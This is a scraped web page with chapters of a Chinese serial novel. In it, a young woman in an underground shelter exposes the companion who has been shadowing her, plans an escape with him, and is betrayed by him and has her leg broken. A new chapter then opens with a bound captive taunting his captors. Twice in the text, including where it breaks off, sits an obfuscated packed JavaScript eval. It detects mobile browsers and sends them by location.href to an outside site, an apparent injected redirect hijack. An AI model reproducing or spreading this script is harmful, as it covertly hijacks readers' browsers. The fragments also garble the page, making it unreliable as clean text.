这天晚上,祝昭照例去了江敛的房间,说起白天的巡逻见闻,也提到了自己比对坐标毫无进展的沮丧。 “那些坐标在地图上根本看不出什么名堂,”她盘腿坐在江敛床边的地上,手里无意识地捏着那个摊开的小笔记本,“不是储物角落,就是维护区域。” 江敛从数据终端前抬起头,看了她一眼,目光扫过她笔记本上那几行清晰的坐标数字,眉头几不可查地蹙了一下。 “祝昭,”他的声音依旧平稳,但带着一种刻意的清晰,仿佛在强调某个重点,“以后,不要再这么拿着地图在巢穴里走来走去了。” 祝昭愣了一下,抬头看他。 江敛没有看她,视线重新落回资料里,笔在纸张上书写着,像是在处理数据,但说出来的话却意有所指:“有些人,可能会注意到。毕竟……不是所有人都对‘旧地图’感兴趣。” 江敛的语气不像警告,更像是一种提醒,一种点到即止的暗示。 祝昭捏着笔记本的手指微微收紧。 她忽然明白了,不是坐标没用,而是她调查坐标的行为本身,已经引起了某些“有心人”的注意。 那些如影随形的被窥视感,恐怕不是她的错觉。 江敛这是在告诉她,她之前的举动,太“明目张胆”了。 这句听似平常的提醒,像一盆掺着冰碴的水,将祝昭心头那点因好奇而燃起的火苗彻底浇熄。 她捏着笔记本的手指松开,默默将本子合上,塞回了口袋最深处。 “我知道了。” 祝昭低声说,语气里流露出浓重的失落感,没再追问。 从那天起,祝昭明显收敛了许多。 她不再公然拿着地图或笔记本在通道里走动,不再试图去向唐柚叶打听更多关于坐标区域的消息。 表面上,依旧是那个认真完成巡逻任务、会和相熟队员打招呼的祝昭。 但暗地里,她的观察更为细致。 每一次巡逻路线变更,祝昭都会默默记下新增或调整的岗哨位置;每一次物资清点,祝昭会留意哪些种类的物资被特别标注或限制领取;每一次与王婶或其他看似“正常”的居民交谈,祝昭会更仔细地分辨对方眼神里是否有一闪而过的滞涩。 祝昭将所有这些零碎的、看似无关的信息,用只有自己能看懂的符号,悄悄记在笔记本的最后一页,与那三个坐标隔开。 祝昭不再试图去破解坐标的谜题,而是开始尝试拼凑巢穴内部正在悄然变化的图景。 江敛将她的转变看在眼里,没有再就此事多言。 两人晚上的交流照旧,只是话题更多地围绕着日常巡逻、物资配给,偶尔提及坐标,也仅限于“暂时看不出规律”这样模糊的结论。 一种无言的默契在两人之间形成——有些危险,心照不宣。 然而,那种被无形视线窥探的感觉,并未完全消失。 只是它变得更隐蔽,更飘忽,像潜藏在黑暗水底的鱼,偶尔搅动一下水波,提醒着祝昭,她并未真正脱离某些人的注意。 夜深人静时,祝昭会拿出那个小笔记本,指尖拂过那三个冰冷的坐标数字,再翻到后面自己记录的、关于巢穴的细微变化。 坐标依旧是无用的坐标,指向地图之外的虚无。 但巢穴内部,某种真实的、正在酝酿的东西,却比任何地图上的标记都更让她感到不安。 祝昭合上笔记本,听着通风管道里传来的、永无止息的风的哀嚎,感觉自己也像被裹挟进了这场越来越大的风雪之中,能做的,只是抓紧手中仅有的火种,在黑暗里更小心地看清脚下的路。 29. 为什么是你 祝昭后颈的皮肤又开始发紧了。 像是有只看不见的虫子在上头爬,细密、顽固,挥之不去。 起初祝昭以为是自己太累,或者地下巢穴那混杂着机油、尘土和隐约霉味的空气让她过敏。 可这感觉来得太有规律——总是在她独自一人,走向地图室或者下层仓储区那段空旷通道时,准时出现。 祝昭试过猛地回头,身后只有被应急灯拉长的、扭曲的阴影。 她也试过故意放慢脚步,耳朵竖起来捕捉任何一丝异响,除了通风管道永不停歇的沉闷呼吸,什么也没有。 但身体不会骗人。那种针扎似的注视感,如影随形。 祝昭开始留心更多细节。 昨天下午,祝昭再次独自前往下层仓储区,想去确认第二个坐标点附近是否真有异常。 刚走到那个堆满废弃仪器的岔路口,头顶锈蚀的管道深处,就传来两声极其轻微的、间隔稳定的“叩,叩”声,像是有人用金属件不紧不慢地敲击。 声音很轻,混在环境噪音里几乎难以察觉。 可祝昭听到了。 她停下脚步,那敲击声也停了。 她继续往前走,没过几分钟,敲击声又幽幽响起,像个尽职尽责的报点器。 还有那些光滑如镜的金属墙面和消防箱玻璃。 祝昭不止一次用眼角的余光,瞥见一个迅速隐入拐角的模糊影子。 不高不矮,那道轮廓,让她心头莫名地沉一下,泛起一种说不清道不明的熟悉感。 最让她心里发毛的,是江敛。 每次,只要祝昭独自在这些“敏感”区域逗留稍久,江敛总会“恰巧”出现。 有时是端着一杯热水,说是技术部刚烧的,顺路给她带一杯。 有时是拿着一份需要队长签字的无关紧要的报表,问她知不知道唐柚叶在哪儿。 江敛的理由永远合情合理,表情一如既往的平静克制,找不到半点破绽。 可次数多了,这种密不透风的“巧合”,只让祝昭觉得喘不过气。 今天早上更是如此。 祝昭不过是趁着轮休,想去地图室再比对一下旧版结构图,刚在里头待了不到十分钟,江敛就推门进来了。 “巡逻队那边有点事,唐队长让你过去一趟。” 他站在门口,光线从他身后照进来,看不清表情。 祝昭“哦”了一声,合上地图。 祝昭跟着他往外走时,她鬼使神差地回头看了一眼自己刚才坐的位置——桌面上,她随手放在那儿的、用来标记方位的一小块磁石,不知何时从地图的东侧,被挪到了西边。 她清清楚楚地记得,自己没动过它。 一个冰冷的结论,毫无征兆地砸进她脑子里,让她手脚都有些发凉。 这个藏在暗处的影子,不仅对她的一举一动了如指掌,还能在她毫无察觉的情况下,近距离地触碰她的东西。 而且,他(或者她)的目的,似乎并不是要伤害她。 更像是在……划出一条无形的界线,一次又一次,不动声色地将她从某些区域、某些探寻中推开。 监视她的人,就在这座巢穴里。 甚至,很可能就在那些声称要保护她的人中间。 这个念头一旦升起,就像藤蔓一样紧紧缠住了她的心脏。 她不再像个无头苍蝇般四处张望,而是开始有计划地行动。 每天的巡逻路线、吃饭时间、甚至去找唐柚叶汇报工作的间隙,都成了她验证猜想的试验场。 第一次试探选在了一条僻静的通道。 这里是去往食堂的近路,但需要经过赵峰手下控制的区域。 往常祝昭总是快步通过,目不斜视。 今天,她却在距离那扇紧闭的金属门十米远处放缓了脚步。 她装作系鞋带,单膝跪地,手指在鞋带上慢条斯理地缠绕。 眼角的余光却牢牢锁定了身后的通道。 就在她蹲下的瞬间,远处传来一声几不可闻的脚步声戛然而止。 空气仿佛凝固了一瞬。 祝昭不动声色地站起身,继续向前。 这一次,她故意在门前驻足,伸手摸了摸冰冷的门把手,脸上露出恰到好处的好奇。 她能感觉到背后的视线骤然变得锐利,像针一样扎在她的背上。 "这里面是做什么的?" 祝昭喃喃自语,声音刚好能让身后的人听见。 没有回应。 但那种被监视的压迫感明显加重了。 祝昭适时地表现出犹豫,最后像是放弃般摇了摇头,转身离开。 她走出很远,那道视线才重新变得若有若无。 第二次试探发生在地图室。 照明灯在布满灰尘的桌面上投下模糊的光斑。 祝昭假装查阅资料,故意将一张画着错误坐标的纸夹在档案夹里,纸角被她小心翼翼地折起一个特定的角度。 祝昭在那里坐了整整一个下午,翻阅着无关紧要的文件。 中途有两个人进来查阅资料,很快就离开了。 直到傍晚,她才收拾东西离开,特意将那个档案夹放在桌角显眼的位置。 第二天一早,她第一个来到地图室。 档案夹还在原处,但当她翻开时,发现那张坐标纸的折角被抚平了,纸张的位置也移动了半分。 她的心猛地一沉。 第三次试探更加大胆。 她选择在江敛在场的时候。那天晚上,她照常去他房间,看他整理技术部的数据。 "今天听人说,西区那个废弃的通风井下面好像有动静。" 祝昭一边摆弄着桌上的零件,一边状似随意地说。 江敛正在写作的笔顿了一下。 "可能是管道热胀冷缩的声音。" 他的声音很平静。 "不是,"祝昭坚持道,"像是有人在下面活动。" 她清楚地看到江敛的喉结滚动了一下。 这个细微的动作她太熟悉了——每次他紧张时都会这样。 "你听错了。" 他斩钉截铁地说,语气里带着不容置疑的肯定。 祝昭不再争辩,心里却更加确定。 江敛知道祝昭在试探,而且他在刻意引导她的注意力。 接下来的几天,祝昭开始留意更多细节。 江敛总是知道她什么时候独自行动;他对她每天的行程了如指掌;甚至在她表现出对某个区域特别感兴趣时,他总能及时出现,用各种理由将她引开。 这一切的疑团,在一个狂风呼啸的午后迎来了终结。 那天她轮休,独自在生活区闲逛。 暴风雪在巢穴外肆虐,寒风从通风口的缝隙钻进来,在通道里打着旋。 在一个十字路口,她假装被什么东西吸引,突然转向一条平时很少走的小路。 就在转身的瞬间,她用眼角的余光瞥见身后通道的拐角处,一个身影迅速隐入阴影。 但已经足够了——在墙壁光滑的金属反光里,她清晰地看到了那个身影的下半身,深色的工装裤,还有那双她再熟悉不过的短靴。 鞋帮处那道独特的划痕,是她某次和江敛一起散步时,不小心被铁丝网刮到的。当时他还说这点小伤不影响穿着。 模糊的倒影里,一个身影在她身后不远处的拐角静立着。 那一刻,所有的声音都消失了。 祝昭慢慢直起身,血液好像瞬间涌向四肢,又猛地退潮,留下一片冰冷的清醒。 之前所有的怀疑、猜测、不愿相信,都被这双鞋砸得粉碎。 她终于知道了 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时机精准得让ta心头一凛。 那感觉,不像是在放松颈椎,更像是在确认……ta的位置。 她知道了? 这个念头让ta指尖微微发凉。ta回想起那张被她“无意”中画上错误坐标又“遗忘”的废纸,想起她在赵峰管辖区域门口那过于刻意的退缩。 这不是她平时的样子。 她在试探。用她自己的方式。 现在,她正走向仓库区深处,那条通往废弃循环水处理站的路。 那是条死路,除了定期检修,几乎没人会去。 她去那里做什么? 职责——或者说,某种更深沉的东西——驱使着ta必须跟上去。 ta不能让她在那种地方独自涉险,哪怕这可能是个陷阱。 ta看着她拐进了那条最终通道,身影消失在昏暗的尽头。 通道里异常安静,只有ta自己压抑到极点的呼吸声,以及远处传来的、被墙壁扭曲了的、她清晰的脚步声。 ta贴在入口的拐角处,冰凉的金属墙壁透过衣料传来寒意。里面没有再传来脚步声。她停下来了。 为什么停在死胡同里? ta紧贴着墙壁,小心翼翼地,将目光投向通道内部。 她站在通道的尽头,背对着ta,面向那面封死的、布满陈旧管道的墙壁。 一动不动。 像是被什么东西彻底吸引,又像是在……等待着什么。 整个空间陷入一种令人窒息的死寂。ta能听到自己心脏在胸腔里沉重地跳动。 她到底要做什么? 寂静在通道里蔓延,浓稠得几乎凝固。 祝昭面向墙壁,声音清晰地穿透这片死寂: “跟了这么久,不累吗?” 尾音落下,周遭只剩下远处机械低沉的嗡鸣,像巢穴沉睡的脉搏。 她没有回头,继续说道: “出来吧。” 顿了顿,每个字都像石子投入深潭: “我知道是你,江敛。” 话音落下的瞬间,空气仿佛被抽空。 拐角处的阴影微微晃动。 几秒后,江敛从阴影里缓步走出,停在离她五步远的地方。 昏暗的光线勾勒出他紧绷的下颌线,那双总是沉静如深潭的眼睛此刻正望着她,里面翻涌着复杂难辨的情绪。 他就这样沉默地站在那里,没有解释,没有否认,像一尊突然被定格的石像。 通道顶端的灯光闪烁了一下,将他投在墙上的影子拉得忽长忽短。 这场精心设计的追逐,最终停在了无声的对峙里。 30. 骗子 通道里只剩下远处机器低沉的嗡鸣,像这巢穴永不停歇的心跳。 祝昭看着江敛。 江敛也看着她。 五步的距离,隔着一道看不见的深渊。 空气凝滞,冰冷得能冻住呼吸。 祝昭喉咙发紧,所有准备好的质问都卡在那里,被翻涌的失望和愤怒堵得严严实实。 那双总是带着笑意的眼睛,此刻像两潭结了冰的深水,死死钉在江敛身上。 最后还是祝昭先动了。 嘴唇动了几下,才挤出嘶哑的声音。 “为什么?” 江敛的喉结不明显地滚动了一下。 他的视线微微偏开,落在她耳侧的空处,声音平稳得听不出一丝波澜。 “任务需要。” “任务?” 祝昭的声音陡然拔高,在空旷的通道里激起回响。 “什么任务需要你像条影子一样跟着我?什么任务需要你弄出那些该死的敲击声?什么任务需要你偷偷动我的东西?!” 她往前逼近一步,胸口剧烈起伏。 “我发现的那些线索,那张画错的坐标纸,是你拿走的,对不对?每次我靠近那些地方,你总是‘刚好’出现,也是故意的,对不对?!” 江敛沉默着,下颌线绷得很紧。 他垂在身侧的手指无意识地蜷缩起来,又很快松开。 这个细微的动作没能逃过祝昭的眼睛。 愤怒像退潮一样迅速消散,留下的是更深的、带着钝痛的委屈。 祝昭的声音低了下来,带着不敢置信的颤抖。 “你教我认路,教我怎么在巡逻时观察细节,教我怎么保护自己……江敛,你告诉我,那些也是任务的一部分吗?都是装出来的吗?” 祝昭看着江敛那张没什么表情的脸,只觉得前所未有的陌生。 “看着我!”她的声音里带上了哽咽,“你看着我,回答我!” 江敛的睫毛颤动了一下,终于将目光转回来,落在她脸上。 那深褐色的眼眸里像是蒙着一层雾,所有的情绪都被死死压在后面,看不真切。 他张了张嘴,最终却只是更紧地抿住了唇,维持着那该死的、坚不可摧的冷静表象。 死寂重新笼罩下来,比之前更加沉重。 长久的沉默像冰层一样冻结在两人之间。 祝昭看着江敛紧抿的唇和避开的视线,心里那点残存的希望终于彻底熄灭。 愤怒和委屈像退潮般流走,留下一种奇异的、冰冷的清醒。 她忽然上前一步,抓住了江敛的手腕。 他手臂的肌肉瞬间绷紧,像是受惊的动物,深褐色的瞳孔猛地收缩,看向她。 “我们逃吧。” 祝昭的声音不高,却异常清晰,每个字都砸在凝滞的空气里。 她感觉到被她握住的那截手腕,脉搏骤然跳得快了起来。 江敛的眉头拧紧,下意识地想抽回手。 “你……外面是严冬,零下九十度甚至上百度,没有庇护所,没有稳定补给。这不是巡逻,是送死。” “那就想办法不死!”祝昭打断他,手指收得更紧,“听着,江敛。既然留在这里,你不是你,我也不是我了,那我们还留在这里干什么?等着你继续‘任务’,等着我哪天被彻底关起来吗?” 她不等他回答,语速加快,眼神灼亮地盯着他。 “从我们一起上格斗课,一起练习控制能力那天起,我就在看,就在想。你的【余量】不止能储存‘坚固’或者‘热能’,上次对抗训练,那个大个子一拳打过来,你用手臂格挡的瞬间,是不是下意识存了他一部分‘冲击力’?虽然只有一点点,虽然你立刻就散掉了,但我看见了!” 江敛的呼吸几不可查地一滞,眼神深处有什么东西剧烈地晃动了一下。 “我们可以用这个!”祝昭的语调因为激动而微微发颤,“你提前储存,储存很多很多!储存热量,储存力量,甚至储存‘速度’!等我们出去,在雪原上,我的能力可以把你存下的这些东西一口气全部引爆!我们可以跑得比风还快,可以轻易破开积雪,可以找到能躲开所有追踪的地方!” “具体怎么做?”江敛突然打断,声音低沉,“储存的热量能维持多久?爆发速度能持续多少米?遇到暴风雪怎么办?遇到游荡的数据幽灵怎么办?你的能力需要情绪引爆,在极端环境下,你能保证自己一直保持那种状态吗?” 他一连串的问题像冰水浇下,但祝昭的眼睛却更亮了——他在认真思考,不是在拒绝。 “热量不够就找地热!我记得旧地图上标注过北边山谷有温泉线!速度不需要一直维持,只需要在关键时刻冲刺突围!”她的语速更快,“至于我的状态……” 她突然凑近,几乎贴着他的耳朵压低声音:“和你一起逃出去,这件事本身就能让我保持最好的状态。恐惧、期待、还有……”她顿了顿,“这些情绪够不够?” 江敛的喉结滚动了一下。 他沉默了片刻,继续追问,语气却不再那么冰冷:“食物来源?” “雪层下的地衣,耐寒的灌木根茎,我记得资料库里有图谱。而且你的能力不是能储存‘状态’吗?新鲜采摘的植物,储存它的‘新鲜’,是不是就能长期保存?” “水源?” “雪水净化。你储存‘洁净’的概念,是不是能加快这个过程?” “方向?” “根据星图……” “暴雪天没有星星。” “那就用指南针配合地标!我观察过风向和积雪的堆积规律……” 一问一答间,一个粗糙却可行的计划逐渐成形。 祝昭的每个回答都基于实际的观察和训练中的发现,将两人能力的结合运用到了极致。她的声音因为兴奋而微微发抖,却条理清晰。 江敛深深地看着她,像是第一次真正认识这个总是带着笑的女孩。 他注意到她因为激动而微微泛红的脸颊,亮得惊人的眼睛,还有那不容置疑的决心。 他终于开口,声音沙哑得厉害:“你知道失败意味着什么吗?” “知道。”祝昭毫不犹豫,“但留在这里,我看不到明天。跟你一起出去,至少明天是我们自己选的!” 江敛深深地吸了一口气,又缓缓吐出。他反手,握住了她的手。 掌心有些凉,但力道很稳。 他看着她的眼睛,终于开口,声音低沉,却带着一种破釜沉舟般的决意: “好。” 这个字落下的瞬间,祝昭的眼睛骤然亮了。 她紧紧抓住江敛的手,像是抓住了黑暗中唯一的浮木。 接下来的日子,两人开始了心照不宣的准备。 “压缩饼干要选热量最高的,”江敛在分发物资时,状似无意地将几块特定包装的塞到她手里,声音压得极低,“但别拿太多,会引起注意。” 祝昭用力点头,像接收秘密指令般郑重。 夜深人静时,他们借着巡逻的掩护,在错综复杂的管道区摸索路线。 江敛的手指划过锈蚀的管壁,在某处停下:“这里结构最弱。”他顿了顿,补充道,“但破开的动静可能会引来巡逻队。而且外面的风会立刻灌进来,温度骤降,我们必须在一分钟内冲出去,否则……” 他没说完,但祝昭已经感受到那份紧迫。她握紧拳头:“没问题,我的能力可以做到。” 江敛看了她一眼,那眼神复杂难辨,最终只是点头:“好。” 他们一起清点着微薄的储备。江敛将一个小巧的指南针放进她手心。 “收好。雪原上没有参照物,一旦迷失方向……零下九十度,没有第二次机会。” “我知道。”祝昭摩挲着冰凉的金属外壳,抬头对他露出一个灿烂的笑,“但我们在一起,就没问题。” 江敛的指尖在她掌心停留了一瞬,很快收回。 他转身整理着寥寥无几的物资,状似随意地提起。 “外面和训练场不一样。上次模拟雪原生存,我们只待了六个小时就全员失温。这次没有救援队。” 祝昭正小心翼翼地把指南针收进内袋,闻言抬起头,眼睛在黑暗中闪着光:。 “可这次我们在一起啊。你的能力可以储存热量,我的能力可以在关键时刻爆发。我们配合,一定能行。” 江敛沉默地系好背包带,手指在粗糙的布料上摩挲了一下: “暴风雪来临前会有征兆,但往往来不及躲避。一旦迷路……” “不是有你吗?”祝昭打断他,语气里是全然的信任,“你认路最厉害了。” 江敛背对着她,肩膀几不可查地绷紧了。他张了张嘴,最终只是说: “睡吧。明天要保存体力。” 出逃前夜,祝昭兴奋得辗转难眠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647187|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她仿佛能听见墙对面床铺上,江敛的呼吸声平稳绵长,以为他也和她一样期待着明天的到来。 她不知道的是,在她终于迷迷糊糊睡去后,那双一直闭着的眼睛缓缓睁开。 江敛悄无声息地坐起身,在黑暗中静静注视着墙。 他的手指无意识地在床沿收紧,骨节泛白。 许久,他极轻地叹了口气,用几乎听不见的声音呢喃: “外面……真的会死人的……” 这句话轻得像雪落在地上,很快就消散在黑暗里。 他最终还是起身,像一道影子般滑出门外。脚步声在空旷的走廊里迟疑地响了两下,停顿,又继续响起,一步一步,沉重地消失在走廊尽头。 凌晨三点五十分,管道区B7段。 锈蚀的金属管道在昏暗中静静蛰伏,只有通风口透进的微光勾勒出它们的轮廓。 祝昭深吸一口气,将最后一块压缩饼干塞进背包内侧,转头看向江敛。 “都准备好了。”她的声音因激动而微微发颤,“只要破开这里,我们就能……” “再等等。”江敛突然打断她,声音低沉得异常,“外面的温度正在骤降,现在出去太危险。” 祝昭愣了一下:“可是我们计算过时间,现在是最佳时机。” “计算会有误差。”江敛向前一步,挡在她和那处锈蚀的管壁之间,“零下一百二十度,任何差错都会要了我们的命。” 他的反常让祝昭心头升起一丝不安:“江敛,你怎么了?我们不是都说好了吗?” “我说了,再等等!”江敛的声音突然拔高,带着从未有过的焦躁。 就在这时,远处传来巡逻队整齐的脚步声,越来越近。祝昭脸色一变,下意识抓住江敛的手:“快走!” 她想要拉着他一起冲向那处锈蚀的管壁,却被江敛反手扣住手腕。 他的力道大得惊人,祝昭吃痛地闷哼一声。 “放开!”祝昭用力挣扎,膝盖狠狠顶向他的腹部。 江敛侧身避开,顺势将她往地上一带。 祝昭反应极快,在半空中扭身,手肘击向他的太阳穴。 两人在狭窄的管道间激烈交手,拳脚相击的闷响在黑暗中格外清晰。 “你根本不明白……”江敛格开她一记重击,声音嘶哑,“我是在救你!” “用欺骗来救我吗?”祝昭的眼中泛起泪光,一个扫腿攻向下盘。 江敛跃起避开,却在落地的瞬间被她抓住破绽。 祝昭的拳头裹挟着【及时行乐】的力量直取面门,却在最后一刻迟疑了——她看见他眼中深不见底的痛苦。 就是这一瞬的犹豫,让江敛抓住了机会。 他的【余量】全力释放,储存多日的“冲击”轰然爆发。 祝昭被这股力量震得撞在管道壁上,还未站稳,江敛已经欺身而上,以一个精妙的擒拿动作将她死死按在地上。 “对不起……对不起……”他在她耳边低语,声音带着绝望的颤抖。 强光突然从四面八方亮起。 祝昭眯起被刺痛的眼睛,看见三个身影从阴影中走出。 赵峰和王明远站在两侧,中间是个她从未见过的陌生男人。 “真是精彩。”陌生男人轻笑着上前,用鞋尖踢了踢祝昭被压制的腿,“看来我们的江敛还是很能干的嘛。” 赵峰冷冷地瞥了江敛一眼:“做得不错。” 陌生男人蹲下身,与祝昭平视,嘴角带着残忍的弧度:“听说你想逃跑?真是天真。不过既然你这么想出去……”他故意顿了顿,欣赏着祝昭憎恨的表情。 “江敛,折断她一条腿。我要亲眼看着这份希望彻底破碎。” 祝昭的瞳孔骤然收缩。她拼命挣扎,却被江敛按得更紧。 “不要……”她近乎绝望地看向江敛,“求求你……” 江敛闭了闭眼,再睁开时,眼中只剩下冰冷的决绝。 他调整了一下姿势,双手握住她的小腿中部。 “对不起。”他再次低语,然后猛地发力。 清脆的骨裂声在管道区内回荡。 剧痛袭来的瞬间,祝昭的惨叫被哽咽在喉咙里。 她最后看到的,是江敛那双空洞的眼睛,和一滴迅速消失在黑暗中的眼泪。 原来最残忍的背叛,是让你亲眼看着最信任的人,亲手摧毁你所有的希望。 31. 这绳艺是不是有点太超前了? 陆昭妄是在一阵闷痛和眩晕里醒过来的。 意识回笼的瞬间,脖颈侧面挨的那一下还在隐隐作痛,提醒着他阴沟里翻船的光荣事迹。 紧接着,他发现自己动弹不得——不是普通的捆绑,而是一种极其……讲究的绑法。 绳子从脖子后面套过来,在胸前交叉、穿梭,形成一个个对称又紧密的菱形网格,严丝合缝地把他上半身乃至手臂都固定在了坚硬的椅背上。 这网格一路向下,在腰腹间收束,力道均匀,既没勒得他喘不过气,也没给他留下半点挣扎的余地。 拘束感不强,但想靠蛮力挣脱?门都没有。 他低头看了看自己胸前那工整得近乎艺术的绳结图案,嘴角抽搐了一下。 “……操。” 他低声骂了句,试图调动体内那股能颠倒是非的力量。 意念集中,指向身上这碍事的玩意儿——【逻辑重构】! …… 然后,什么也没发生。 那点能撬动规则的力量,在触碰到这条泛着淡蓝色幽光的黑色绳索时,就像水滴进了滚烫的沙地,“嗤”地一下,散了。 别说扭曲逻辑,连让绳子晃一下都做不到。 “啧,高科技啊?” 陆昭妄抬起眼,终于开始认真打量周围。 这里显然是他之前发现的那个地下空间的一部分,被改造成了居住点。 看布局,像个旧时代的三室一厅。他 此刻就被绑在客厅的椅子上,对面坐着那个罪魁祸首之一——眼镜兄。 对方姿态放松地坐在一张看起来还算完好的椅子上,正用一块软布,慢条斯理地擦拭着一把匕首。 刀刃寒光凛凛,映着他那张没什么表情的脸和金丝眼镜后的平静眼眸。 听到陆昭妄弄出的动静,眼镜兄眼皮都没抬一下,专注得仿佛在完成一件艺术品。 空气中飘来一股食物的香气,是从旁边的厨房传来的,似乎是炖煮肉类的声音,咕嘟咕嘟,带着点人间烟火的暖意。 这温馨日常的背景音,跟他这个被绑成特色礼品待宰的羔羊处境一对比,简直荒谬得让人火大。 陆昭妄吸了吸鼻子,决定打破这令人不适的沉默。 他扭了扭被捆得结结实实的上身,确保自己的声音带着足够清晰的嘲讽: “喂,眼镜兄,”他冲着眼镜兄扬了扬下巴,语气里的玩味几乎要溢出来,“我说……你们这捆绑play的品味,是不是有点太超前了?” 他刻意顿了顿,让“捆绑play”这个词在空气里暧昧地转了个圈,才继续道: “搞这么花里胡哨的龟甲缚,知道的以为你们是绑票,不知道的,还以为你们这儿提供什么特殊才艺表演呢。怎么,这是你们组织的迎宾传统?还是哪位大佬的个人爱好?” 一直没什么反应的眼镜兄,擦拭匕首的动作几不可查地顿了一下。 他抬起眼,目光透过镜片落在陆昭妄身上,平静无波,但说出的话却带着一种不容置疑的维护: “绳子是清欢姐绑的。” 他的语气没有任何起伏,像是在陈述一个客观事实。 “她喜欢对称和效率。不许质疑清欢姐的审美。” 陆昭妄:“……” 他看着眼镜兄那副理所当然、甚至隐隐带着“你这种俗人不懂欣赏”意味的表情,一时竟被噎得说不出话。 行,真行。 他扯了扯嘴角,感觉自己可能不是落进了什么邪恶组织的老巢,而是误入了某个审美奇特还极其护短的变态艺术之家。 厨房里,炖肉的香气更浓了。 “行,行,审美,对称,效率。” 陆昭妄拖长了调子,被捆在椅子上的身体微微前倾,尽管动作受限,眼神却像钩子一样试图撬开眼镜兄的冷静外壳。 “那我换个有效率的问题——我队友,那个姓沈的医生,她在哪儿?你们把她怎么了?” 眼镜兄将擦拭完毕的匕首利落地归入腿侧的刀鞘,发出轻微的“咔哒”声。 他抬起眼,目光平静无波:“她在她该在的地方。状态良好。” “该在的地方?”陆昭妄挑眉,“这说法可真够暧昧的。是隔壁房间,还是已经被你们打包塞进哪个通风管道了?‘状态良好’?我怎么知道你们定义的良好是不是缺胳膊少腿?” “你的质疑缺乏依据,属于无效假设。”眼镜兄推了推眼镜,镜片后的目光像在分析一组冗余数据,“我们获取信息,不依赖低效的物理手段。” “哦?”陆昭妄立刻抓住话头,“不依赖物理手段?那就是精神层面咯?怎么,你们那位红发女王还在给她做‘心理疏导’?”他语速加快,试图用连续的提问打乱对方的节奏,“你们到底想从我们这儿得到什么?某个地方的线索?还是看上我们这身时不时闹罢工的‘超能力’了?” 眼镜兄没有直接回答,反而像是评估着什么,淡淡开口:“你的问题密度很高,但信息熵低下。恐惧、愤怒,以及……”他顿了顿,精准地点破,“试图掩盖核心关切的表演性攻击。” 陆昭妄心里“咯噔”一下,面上却笑得更加灿烂,甚至带着点无赖样。 “哎呦,还会读心呢?失敬失敬。不过眼镜兄,你这套分析用在你自己人身上怎么样?比如那个头脑简单、一看就很容易被煽动的打手兄弟?还是说……你们团队内部和谐得像一块铁板,连点‘情感摩擦’都没有?” 他刻意将话题引向眼镜兄和团队内部,试图寻找可能的裂痕。 眼镜兄的表情依旧没有任何变化,只是陈述道:“略的行动模式稳定。团队协作效率经过优化。你的挑拨离间策略,成功率低于百分之零点五。” “优化?听起来跟处理过期数据似的。”陆昭妄咂咂嘴,眼神瞟向香气传来的厨房,忽然话锋一转,“资源挺充裕啊,还有肉炖?看来你们这小日子过得不错。那何必跟我们两个穷光蛋过不去?绑我们还浪费你们一根高科技绳子,这买卖怎么看都不划算。除非……” 他拉长了声音,紧紧盯着眼镜兄:“我们身上,有你们非要不可的东西。或者,我们知道些什么?” 眼镜兄沉默了几秒,就在陆昭妄以为他终于撬开了一点缝隙时,他却只是站起身,走向厨房,丢下一句:“资源管理是必要课题。你的价值评估,尚未完成。” 看着眼镜兄走向厨房的背影,陆昭妄靠在椅背上,无声地磨了磨后槽牙。 这家伙,简直像个密不透风的铁桶。 客厅里暂时只剩下陆昭妄和厨房里隐约的动静。 他正琢磨着眼镜兄那句“价值评估”到底意味着什么,玄关处传来一阵响动。 门被推开,带进一股外面的寒气。 打手兄高大的身影堵在门口,他随手将肩上扛着的一个鼓鼓囊囊的背包扔在地上,发出沉闷的声响。 几罐看不清标签的罐头从没拉严实的拉链口滚了出来。 他拍了拍身上的尘土,一抬头,就对上陆昭妄那双带着明显戏谑的眼睛。 “哟!”陆昭妄率先开口,语气轻快得像在跟老熟人打招呼,“这不是我们的大力神兄弟吗?出去给女王陛下搜罗贡品回来了?辛苦辛苦!” 打手兄眉头瞬间拧紧,眼神像刀子一样剐过来,没吭声,但那表情明显写着“你他妈最好闭嘴”。 陆昭妄是谁啊,他怎么可能闭嘴? 他笑容更盛,目光在打手兄那身腱子肉和略显凌乱的短发上扫过,继续输出: “看这风尘仆仆的样儿,收获不小啊。不过我说,打手兄,你这工作效率行不行啊?出去大半天,就弄回来这么几罐猫食?够你们仨……哦不对,现在是五个人分了么?是不是光长肌肉,忘了怎么动脑子找东西了?” “你他妈说什么?”打手兄的火气“噌”地就上来了,往前踏了一步,声音带着压抑的怒气。他最烦别人说他没脑子。 “我说——”陆昭妄故意拉长声音,一字一顿,清晰无比,“你是不是把脑子都练成肌肉纹理了?只会听令行事,跟条……”他恰到好处地停顿,留下足够侮辱性的空白,“……特别听话的猎犬似的,感觉怎么样?是不是特省心,都不用自己思考下一步该干嘛?” “我操你大爷!” 打手兄彻底被点着了,额角青筋暴起,低吼一声,几步就冲到了陆昭妄面前,攥紧的拳头带着风声猛地砸向陆昭妄那张欠揍的脸。 “你他妈找死!” 拳头在距离陆昭妄鼻尖几厘米的地方硬生生停住。 眼镜兄不知何时已经无声无息地从厨房出来,一只手如同铁钳般牢牢扣住了打手兄的手腕。 他的动作看起来并不快,却精准得不可思议。 “略。” 眼镜兄的声音依旧平稳,没有任何责备,只是在陈述一个事实。 “他在故意激怒你。低级策略,目的在于制造混乱,获取信息,寻找脱身契机。你的情绪反应正在他的计算之内。” “哥!你放开我!” 打手兄试图挣脱,但眼镜兄的手纹丝不动,他只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 